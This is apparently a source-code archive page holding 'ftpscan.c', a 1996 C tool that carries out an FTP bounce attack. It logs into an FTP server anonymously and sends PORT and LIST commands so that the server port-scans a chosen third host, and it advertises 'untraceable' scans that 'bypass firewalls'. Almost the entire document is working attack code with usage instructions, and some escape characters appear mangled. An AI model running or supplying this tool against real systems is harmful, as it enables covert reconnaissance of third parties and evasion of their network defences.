ftpscan.c
上传用户:tzyz868
上传日期:2007-01-05
资源大小:2k
文件大小:3k
源码类别:

扫描程序

开发平台:

Unix_Linux

  1. /* http://www.cotse.com  Fear the swimming Elephant! */
  2. /*
  3.  * FTP Scan (C) 1996 Kit Knox <kit@connectnet.com>
  4.  *
  5.  * Exploits bug in FTP protocol that allows user to connect to arbritary
  6.  * IP address and port.
  7.  *
  8.  * Features: Untraceable port scans.  Bypass firewalls!
  9.  *
  10.  * Example usage:
  11.  *
  12.  * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024
  13.  *
  14.  * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024
  15.  *
  16.  */
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <sys/param.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <netdb.h>
  23. #include <stdarg.h>
  24. int sock;
  25. char line[1024];
  26. void rconnect(char *server)
  27. {
  28.   struct sockaddr_in sin;
  29.   struct hostent *hp;
  30.   hp = gethostbyname(server);
  31.   if (hp==NULL) {
  32.     printf("Unknown host: %sn",server);
  33.     exit(0);
  34.   }
  35.   bzero((char*) &sin, sizeof(sin));
  36.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  37.   sin.sin_family = hp->h_addrtype;
  38.   sin.sin_port = htons(21);
  39.   sock = socket(AF_INET, SOCK_STREAM, 0);
  40.   connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  41. }
  42. void login(void)
  43. {
  44.   char buf[1024];
  45.   sprintf(buf,"USER ftpn");
  46.   send(sock, buf, strlen(buf),0);
  47.   sleep(1);
  48.   sprintf(buf,"PASS user@n");
  49.   send(sock, buf, strlen(buf),0);
  50. }
  51. void readln(void)
  52. {
  53.   int i,done=0,w;
  54.   char tmp[1];
  55.   sprintf(line,"");
  56.   i = 0;
  57.   while (!done) {
  58.     w=read(sock,tmp, 1, 0);
  59.     if (tmp[0] != 0) {
  60.       line[i] = tmp[0];
  61.     }
  62.     if (line[i] == 'n') {
  63.       done = 1;
  64.     }
  65.     i++;
  66.   }
  67.   line[i] = 0;
  68. }
  69. void sendln(char s[1024]) {
  70.   send(sock, s, strlen(s),0);
  71. }
  72. #define UC(b)   (((int)b)&0xff)
  73. void main(int argc, char **argv)
  74. {
  75.   char buf[1024];
  76.   int i;
  77.   u_short sport,eport;
  78.   register char *p,*a;
  79.   struct hostent *hp;
  80.   struct sockaddr_in sin;
  81.   char adr[1024];
  82.   if (argc != 5) {
  83.     printf("usage: ftp-scan ftp_server scan_host loport hiportn");
  84.     exit(-1);
  85.   }
  86.   hp = gethostbyname(argv[2]);
  87.   if (hp==NULL) {
  88.     printf("Unknown host: %sn",argv[2]);
  89.     exit(0);
  90.   }
  91.   bzero((char*) &sin, sizeof(sin));
  92.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  93.   rconnect(argv[1]);
  94.   /* Login anon to server */
  95.   login();
  96.   /* Make sure we are in */
  97.   for (i=0; i<200; i++) {
  98.     readln();
  99.     if (strstr(line,"230 Guest")) {
  100.       printf("%s",line);
  101.       i = 200;
  102.     }
  103.   }
  104.   a=(char *)&sin.sin_addr;
  105.   sport = atoi(argv[3]);
  106.   eport = atoi(argv[4]);
  107.   sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3]));
  108.   for (i=sport; i<eport; i++) {
  109.     sin.sin_port = htons(i);
  110.     p=(char *)&sin.sin_port;
  111.     sprintf(buf,"nPORT %s,%i,%inLISTn",adr,UC(p[0]),UC(p[1]));
  112.     sendln(buf);
  113.     sprintf(line,"");
  114.     while (!strstr(line, "150") && !strstr(line,"425")) {
  115.       readln();
  116.     }
  117.     if (strstr(line,"150")) {
  118.       printf("%i connected.n",i);
  119.     }
  120.   }
  121.   close(sock);
  122. }